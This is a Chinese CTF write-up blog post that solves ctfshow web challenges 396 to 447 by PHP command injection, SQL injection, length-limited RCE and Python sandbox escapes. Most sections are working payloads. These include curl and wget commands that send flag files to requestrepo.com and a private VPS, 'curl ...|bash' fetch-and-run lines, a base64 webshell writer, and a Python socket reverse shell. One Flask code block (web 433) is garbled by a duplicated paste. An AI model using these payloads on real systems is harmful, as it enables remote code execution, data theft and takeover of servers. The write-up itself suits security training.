其他 396-460(持续更新中)

文章目录

  • web 396
  • web 397
  • web 398
  • web 399
  • web 400
  • web 401
  • web 402
  • web 403
  • web 404
  • web 405
  • web 406
  • web 407
  • web 408
  • web 409
  • web 410
  • web 411
  • web 412
  • web 413
  • web 414
  • web 415
  • web 416
  • web 417
  • web 418
  • web 419
  • web 420
      • 法一:写
      • 法二:curl 反弹 shell
  • web 421
  • web 422
  • web 423
  • web 424
  • web 425
  • web 426
  • web 427
  • web 428
  • web 429
  • web 430
  • web 431
  • web 432
  • web 433
  • web 434
  • web 435
  • web 436
  • web 437
  • web 438
  • web 439
  • web 440
  • web 441
  • web 442
  • web 443
  • web 444
  • web 445
  • web 446
  • web 447

web 396

$url = parse_url($_GET['url']);
shell_exec('echo '.$url['host'].'> '.$url['path']);

parse_url

(PHP 4, PHP 5, PHP 7)

parse_url — 解析 URL,返回其组成部分

$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));

以上例程会输出:

Array
(
    [scheme] => http
    [host] => hostname
    [user] => username
    [pass] => password
    [path] => /path
    [query] => arg=value
    [fragment] => anchor
)

所以我们发送

url = http://username:password@`ls`/var/www/html/1.txt?arg=value#anchor

或者构造闭合

http://1/1;echo `ls` > 2.txt

或者 curl 命令

url=http://1/1;curl -T fl0g.php l0vlfyxiw.requestrepo.com
url=http://1/1;curl --upload-file fl0g.php l0vfyxiw.requestrepo.com
curl -X POST -d 'flag=`cat fl0g.php`' l0vfyxiw.requestrepo.com

web 397

同上一题

web 398

preg_match('/;/', $url['host'])

正则匹配 url[‘host’] 的分号,但是我的 payload 分号都是在 $url[‘path’] 里的,所以继续用

web 399

又添加了对 url[‘host’] 的过滤,无所谓,照旧

web 400

还是添加了对 url[‘host’] 的过滤。。。。

web 401

照旧。

web 402

if(preg_match('/http|https/i', $url['scheme'])){
        die('error');
    } 

对协议下手了,除了 http 互联网还有 file 等等协议。

url=file://1/1;curl -d "flag=`cat fl0g.php`" l0vfyxiw.requestrepo.com

或者直接把 http:// 去掉

url=1/1;curl -d "flag=`cat fl0g.php`" l0vfyxiw.requestrepo.com

这样 url 参数全都归给 $url[path] 了。

在这里插入图片描述

web 403

preg_match('/^((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)$/', $url['host']

多了一个正则匹配指定 ip

http://201.201.201.201/1;curl --upload-file fl0g.php l0vfyxiw.requestrepo.com

web 404

因为这道题是 404,所以故意做成无法访问的样子,f12 发现访问 404 .php

 if(preg_match('/((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)./', $url['host'])){
        if(preg_match('/^\/[A-Za-z0-9]+$/', $url['path'])){
            shell_exec('curl '.$url['scheme'].$url['host'].$url['path']);
        }
    } 

增加了对 path 的过滤,但是相比于上一题 host 的 waf 少了 ^ 和 $,所以直接插在 $url[host] 里面就行了

http://201.201.201.201;curl -d "flag=`cat fl0g.php`" jha1kta2.requestrepo.com/1

web 405

preg_match('/\~|\.|php/', $url['scheme'])

再上一题的基础上规定了协议。http 改成 php 就行了

php://201.201.201.201;curl -d "flag=`cat fl0g.php`" l0vfyxiw.requestrepo.com/1

web 406

$url=$_GET['url'];
if(filter_var ($url,FILTER_VALIDATE_URL)){
    $sql = "select * from links where url ='{$url}'";
    $result = $conn->query($sql);
}else{
    echo '不通过';
} 

没有输出结果,所以 outfile 带出

url=0://www.baidu.com;'union/**/select/**/1,(select/**/`flag`/**/from/**/`flag`)/**/into/**/outfile/**/"/var/www/html/1.txt"%23

参考了 Y4 师傅的 payload

 require 'config.php';$sql ='select flag from flag into outfile "/var/www/html/1.txt"';$result = $conn->query($sql);var_dump($result); ?>
转为16进制
http://a53d40ee-9871-49a0-8f4a-5463bc97e052.chall.ctf.show/?url=0://www.baidu.com;'union/**/select/**/1,0x3c3f70687020726571756972652027636f6e6669672e706870273b2473716c203d2773656c65637420666c61672066726f6d20666c616720696e746f206f757466696c6520222f7661722f7777772f68746d6c2f312e74787422273b24726573756c74203d2024636f6e6e2d3e7175657279282473716c293b7661725f64756d702824726573756c74293b203f3e/**/into/**/outfile/**/"/var/www/html/4.php"%23

访问1.txt即可

ta 是先 用 outfile 写码到 php 文件( 至于为什么字符串到 php 里会被解析为 php 代码就不得而知了)

然后再访问 php 文件

PHP filter_var() 函数 | 菜鸟教程 (runoob.com)

PHP FILTER_SANITIZE_URL 过滤器 | 菜鸟教程 (runoob.com)

web 407

IPv6的128位地址通常写成8组,每组为四个十六进制数的形式。比如:AD80:0000:0000:0000:ABAA:0000:00C2:0002 是一个合法的IPv6地址。这个地址比较长,看起来不方便也不易于书写。零压缩法可以用来缩减其长度。如果几个连续段位的值都是0,那么这些0就可以简单的以::来表示

上面是 Y4 师傅说的。大佬说啥就是啥,听人劝吃饱饭

ip=cafe::add

PHP FILTER_VALIDATE_IP 过滤器 | 菜鸟教程 (runoob.com)

web 408

**FILTER_VALIDATE_EMAIL **表示所有的特殊符号必须放在双引号中

也就是说我们可以把特殊字符用双引号包裹,不过有些字符在双引号里也被过滤了,要再加转义字符(比如说空格)

?email=""@1.php
email=""@1.php

web 409

if(filter_var ($email,FILTER_VALIDATE_EMAIL)){
    $email=preg_replace('/.flag/', '', $email);
    eval($email);
} 

本来我想这样

"system(ls);"@b.com

但是试了一下,eval好像不能执行这种

1="phpinfo;"
eval($_GET[1])

不过还好有个 replace

我们先把第一个双引号替换成空

"flagsystem(ls);"@b.com -> flagsystem(ls);"@b.com

然后把后面的闭合或者注释掉

flagsystem(ls);//"@b.com
flagsystem(ls);/*"@b.com
flagsystem(ls);?>"@b.com

完整 payload

email="flagsystem($_POST[1]);/*"@b.com

web 410

其他 396-460(持续更新中)_第1张图片

b=yes

PHP FILTER_VALIDATE_BOOLEANT 过滤器 | 菜鸟教程 (runoob.com)

web 411

if($b=='true' || intval($b)>0 ||$b=='on' || $b=='ON'){
        die('FLAG NOT HERE');
    }else{
        echo $flag;
    } 

总之这个 bool 过滤忽略大小写,所以随便写

oN
Yes

web 412

file_put_contents('flag.php', '//'.$ctfshow,FILE_APPEND); 
FILE_APPEND 如果文件 filename 已经存在,追加数据而不是覆盖。

payload:

ctfshow=?>

web 413

file_put_contents('flag.php', '/*'.$ctfshow.'*/',FILE_APPEND); 
ctfshow=*/ highlight_file(__FILE__); /*

web 414

ctfshow=-1

-1 开根 为 NAN ,不知道为啥这玩意 < 0

web 415

函数名、方法名、类名魔术常量不区分大小写

web 416

f=ctf::flag

web 417

不难,一步一步把最后 eval 改成 echo 输出来看就行了

include('flag.php');
$c=$_GET['ctf'];
if($c=='show'){
	echo $flag;
}else{
	echo 'FLAG_NOT_HERE';
}

web 418

变量覆盖

die=0&clear=;curl -X POST -d "flag=`tac flag.php`" l0vfyxiw.requestrepo.com

web 419

if(strlen($code) < 17){   eval($code); } 

限定长度 < 17

code=echo `nl f*`;

web 420

$code = $_POST['code'];
if(strlen($code) < 8){
    system($code);
} 

nl 的做法就不提了,我们这次用一下新的方法,原理大家去看这篇文章

长度限制 RCE(持续更新中)-CSDN博客

法一:写

from time import sleep

import requests

url = "http://174af6c8-8daf-497e-92a9-40ee80bb688f.challenge.ctf.show/"
print("[+]start attack!!!")
with open("payload.txt", "r") as f:
    for i in f:
        data={"code":i.strip()}
        print(data)
        requests.post(url,data=data)
        sleep(1)    # 设置延时,防止顺序被打乱

# 检查是否攻击成功
test = requests.get(url+"1.php")
if test.status_code == requests.codes.ok:
    print("[*]Attack success!!!")

payload.txt (echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php)

>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0

其他 396-460(持续更新中)_第2张图片

法二:curl 反弹 shell

import requests
import time

payload = [
    '>sh ',
    '>ba\\',
    '>\|\\',
    '>3x\\',
    '>41.\\',
    '>7.\\',x
    '>2x\\',
    '>x.\\',
    '>1x\\',
    '>\ \\',
    '>curl\\',
    'ls -t>0',
    'sh 0'
]

for i in payload:
    data = {
        'code': str(i)
    }
    r = requests.post('http://47f9eea5-5121-482d-b70d-1d768b511bbf.challenge.ctf.show/', data=data)
    print(i)
    time.sleep(1)

cat 0 看看

在这里插入图片描述

写是写进去了,但是没有弹成功,我怀疑这台机器没有装 curl 服务。

web 421

if(strlen($code) < 6){
    system($code);
} 

这里放一个五字符的脚本,四字符因为目录下有个 flag.php,所以有限制,大家可以自己实验

from time import sleep

import requests

url = "http://a6e09d53-da0b-404e-880d-48b82a0b3554.challenge.ctf.show/"
print("[+]start attack!!!")
with open("payload.txt", "r") as f:
    for i in f:
        data={"code":i.strip()}
        print(data)
        requests.post(url,data=data)
        sleep(1)

# 检查是否攻击成功
test = requests.get(url+"1.php")
if test.status_code == requests.codes.ok:
    print("[*]Attack success!!!")

payload.txt

>l\\
>s\\
>\ \\
>-t\\
>\>0
ls>a
ls>>a
>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>7\\
>Sk\\
>X\\
>x\\
>Fs\\
>FV\\
>d\\
>X0\\
>k\\
>g\\
>bC\\
>h\\
>XZ\\
>gZ\\
>A\\
>aH\\
>w\\
>D9\\
>P\\
>S}\\
>IF\\
>{\\
>\$\\
>o\\
>ch\\
>e\\
sh a
sh 0

然后访问 1.php?1=system(ls); 即可。

web 422

nl *

web 423

搜了一下报错是 flask ,但是不知道为什么注入一直报服务器 500 错误。搜题解不知道为什么师傅们直接给源码了。

from flask import Flask
from flask import request
import os

app = Flask(__name__)
@app.route('/')
def app_index():
    code = request.args.get('code')
    if code:
    	return eval(code)
    return 'where is flag?'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)

eval() 函数用来执行一个字符串表达式,并返回表达式的值。所以我们要传的 code 最后是字符串才行,这样才不会报错。直接 str 函数转一下。

code=str(''.__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read())

web 424

继续上一题 payload。

拿到 shell 发现原来是 os 不导入了,不过我们上一题没有直接用 os.system,所以可以接着写

from flask import Flask
from flask import request


app = Flask(__name__)
@app.route('/')
def app_index():
    code = request.args.get('code')
    if code:
    	return eval(code)
    return 'where is flag?'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)

web 425

from flask import Flask
from flask import request

app = Flask(__name__)
@app.route('/')
def app_index():
    code = request.args.get('code')
    if code:
    	if 'os' not in code:
    		return eval(code)
    return 'where is flag?'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)

上一题的还能用,看一下原来是 os 被过滤了,那没事了。

web 426

接着用上一题的

from flask import Flask
from flask import request
import re


app = Flask(__name__)
@app.route('/')
def app_index():
    code = request.args.get('code')
    if code:
    	reg = re.compile(r'os|popen')
    	if reg.match(code)==None:
    		return eval(code)
    return 'where is flag?'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)

但是为什么这里过滤了 popen 上一题的 payload 还能接着用呢

因为 reg.match 只会从开头找要匹配字符串

web 427

from flask import Flask
from flask import request
import re


app = Flask(__name__)
@app.route('/')
def app_index():
    code = request.args.get('code')
    if code:
    	reg = re.compile(r'os|popen|system')
    	if reg.match(code)==None:
    		return eval(code)
    return 'where is flag?'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)

正则匹配又加了一个 system,不过一样的,还是 re.match 的问题。

web 428

from flask import Flask
from flask import request
import re


app = Flask(__name__)
@app.route('/')
def app_index():
    code = request.args.get('code')
    if code:
    	reg = re.compile(r'os|popen|system|read')
    	if reg.match(code)==None:
    		return eval(code)
    return 'where is flag?'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)

正则匹配过滤了 read ,还是 re.match 的问题。

web 429

from flask import Flask
from flask import request
import re

app = Flask(__name__)
@app.route('/')
def app_index():
    code = request.args.get('code')
    if code:
    	reg = re.compile(r'os|open|system|read')
    	if reg.match(code)==None:
    		return eval(code)
    return 'where is flag?'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)

把 popen 换成 open 了,一样可用。

web 430

from flask import Flask
from flask import request
import re


app = Flask(__name__)
@app.route('/')
def app_index():
    code = request.args.get('code')
    if code:
    	reg = re.compile(r'os|open|system|read|eval')
    	if reg.match(code)==None:
    		return eval(code)
    return 'where is flag?'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)

多过滤了个 eval 。一样的 payload 。

web 431

from flask import Flask
from flask import request
import re


app = Flask(__name__)
@app.route('/')
def app_index():
    code = request.args.get('code')
    if code:
    	reg = re.compile(r'os|open|system|read|eval|str')
    	if reg.match(code)==None:
    		return eval(code)
    return 'where is flag?'

if __name__=="__main__":
    app.run(host='0.0.0.0',port=80)

把 str 过滤了,但是因为还是用的 reg.match 所以我们在 str 前加个空格

code= str(''.__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read())

web 432

from flask import Flask
from flask import request
import re

app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
reg = re.compile(r'os|open|system|read|eval')
if reg.search(code)==None:
return eval(code)
return 'where is flag?'

if __name__=="__main__":
app.run(host='0.0.0.0',port=80)

match 改成 search 了,用不了 read 所以我选择带外了。

code=str(''.__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__["po"+"pen"]('curl -X POST -d "1=`cat app.py`" w93od0l8.requestrepo.com'))

web 433

from flask import Flask
from flask import request
import re


app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
reg = re.compile(r'os|open|system|read|eval|from flask import Flask
from flask import request
import re


app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
reg = re.compile(r'os|open|system|read|eval|builtins')
if reg.search(code)==None:
return eval(code)
return 'where is flag?'

if __name__=="__main__":
app.run(host='0.0.0.0',port=80)')
if reg.search(code)==None:
return eval(code)
return 'where is flag?'

if __name__=="__main__":
app.run(host='0.0.0.0',port=80)

在上一题基础上多过滤了 builtins,payload 接着用就行了,这里我换成了自己的 vps

str(''.__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__["po"+"pen"]('curl -X GET -d "1=`cat /flag`" 8x.7x.xx.92:9000'))

web 434

curl 被过滤了,可以用 wget

str(''.__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__["po"+"pen"]('wget --header="evil: $(cat /flag | base64)" http://w93od0l8.requestrepo.com'))

然后把响应头 evil 字段拿去 base64 解码

其他 396-460(持续更新中)_第3张图片

这里我 sb 里,这是 python 完全可以字符拼接一个 curl 出来啊。

str(''.__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__["po"+"pen"]('cu'+'rl -X POST -d "1=`cat app.py`" w93od0l8.requestrepo.com'))

web 435

把下划线过滤了

说是用 exec ,exec 和 eval 差不多(都执行 python 代码),只是返回值永远为 none(没什么回显这点挺像 php 的 exec 的。),所以只能带外了或者反弹 shell 了。。

"import os;os.system('curl xxx.2x7.xxx.36|bash')"

有很多字符串被过滤了

  1. 逆序
str(exec(")'hsab|63.x4.7xx.3xx lruc'(metsys.so;so tropmi"[::-1]))

其他 396-460(持续更新中)_第4张图片

  1. 编码

    str="import os;os.system('curl 1xx.2xx.41.xx|bash')"
    # str 每个字符分别转为16进制,8进制,unicode
    
    
    # 16进制
    for i in str:
        print(hex(ord(i)).replace('0x',r'\x'),end="")
    
    print("\n")
    # 8进制
    for i in str:
        print(oct(ord(i)).replace('0o','\\'),end="")
    print("\n")
    # unicode
    for i in str:
        print(hex(ord(i)).replace('0x',r'\u00'),end="")
    
  2. “+” 拼接

    str(exec("import o"+"s;o"+"s.sys"+"tem('cu'+'rl xxx.xx.x.xx|bash')"))
    

    还有很多方法比如 ord 什么的。主要点就是得知道 exec 的作用

web 436

又过滤了个 getattr,一样的做法

web 437

if '\\u' in code:
    		return 'hacker?'

过滤了 unicode 编码

web 438

reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr|{')

过滤 ‘{’

web 439

	if '\\x' in code:
    		return 'hacker?'

16 进制过滤了,接着用。

web 440

os|open|system|read|eval|builtins|curl|_|getattr|{|\'|"

单引号双引号给过滤了,用 chr 代替

str1 = "import os;os.system('curl xxxxxx|bash')"
str2 = ""
arr = list(str1)
for i in arr[0:len(arr)-1]:
    str2 += "chr("+str(ord(i))+")%2b"

str2 += "chr("+str(ord(arr[len(arr)-1]))+")"
print(str2)

paload:

code=str(exec(chr(105)....))

web 441

把 + 过滤了,不能拼接了

我一开始想的也是用 request.args 直接获取字符串

request.args.a&a=import。。。

但是不行啊,这种直接在模板中使用 request.args.a 的方式是 Flask 框架和 Jinja2 模板引擎提供的特殊语法,并不适用于原生的 Python 代码。在原生的 Python 代码中,你仍然需要使用 request.args.get('a') 来获取 GET 参数的值。

然后还要注意 ‘a’ 用 chr(97) 代替

所以 payload

code=str(exec(request.args.get(chr(97))))&a=import os;os.system('curl xxxx|bash')

web 442

这次把数字过滤了

str(int(False)) = 0

我的payload:

str(exec(request.args.get(str(int(False)))))&0=import os;os.system('curl xxxxx|bash')

y4 师傅的

exec(request.args.get(str(None)))&None=import os;os.system("curl http://xx.xx.xx.xx?1=`cat /flag`")

yu 师傅的

code=str(exec(request.args.get(request.method)))&GET=__import__('os').system('curl http://xxx:4567?p=`cat /f*`')

web 443

request 被过滤了。

globals()

返回表示当前全局符号表的字典。这总是当前模块的字典(在函数或方法内部,这是定义它的模块,而不是调用它的模块)。

str(globals().keys()) 打印一下当前全局变量键名,可以看到 request 就在其中下标为 10的位置

其他 396-460(持续更新中)_第5张图片

globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]]

至此获取到 request 模块

get
0 = import os;os.system('curl xxxxx|bash')
post:
code=str(exec(globals()[list(globals().keys())[True-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)-(-True)]].args.get(strstr(int(False)))))

web 444

增加了对 len 的过滤,继续用上面的。

web 445

给源码了,os 模块下的 system,popen 指望不上了

del os.system
del os.popen

还可以用 子进程管理模块: subprocess

0=import subprocess;subprocess.Popen('curl http://xxxxx|bash',shell=True) # shell = True 记得加,这代表在 shell 环境下解析语句

然后 post 包和上一题一样。

y4 师傅

reload重新加载模块

0 = 'from importlib import reload;import os;reload(os);os.system("curl http://xxxx?1=`cat /flag`")'

yu 师傅

get:0=import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("174.0.13.43",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);

web 446

del imp.reload

删除 imp 库里的 reload 和我 importlib.reload 有甚么关系,继续用

web 447

删除了 subprocess 下很多函数

del subprocess.Popen
del subprocess.call
del subprocess.run
del subprocess.getstatusoutput
del subprocess.getoutput
del subprocess.check_call
del subprocess.check_output

只能接着用 reload 了

你可能感兴趣的:(CTFSHOW刷题日记,web安全)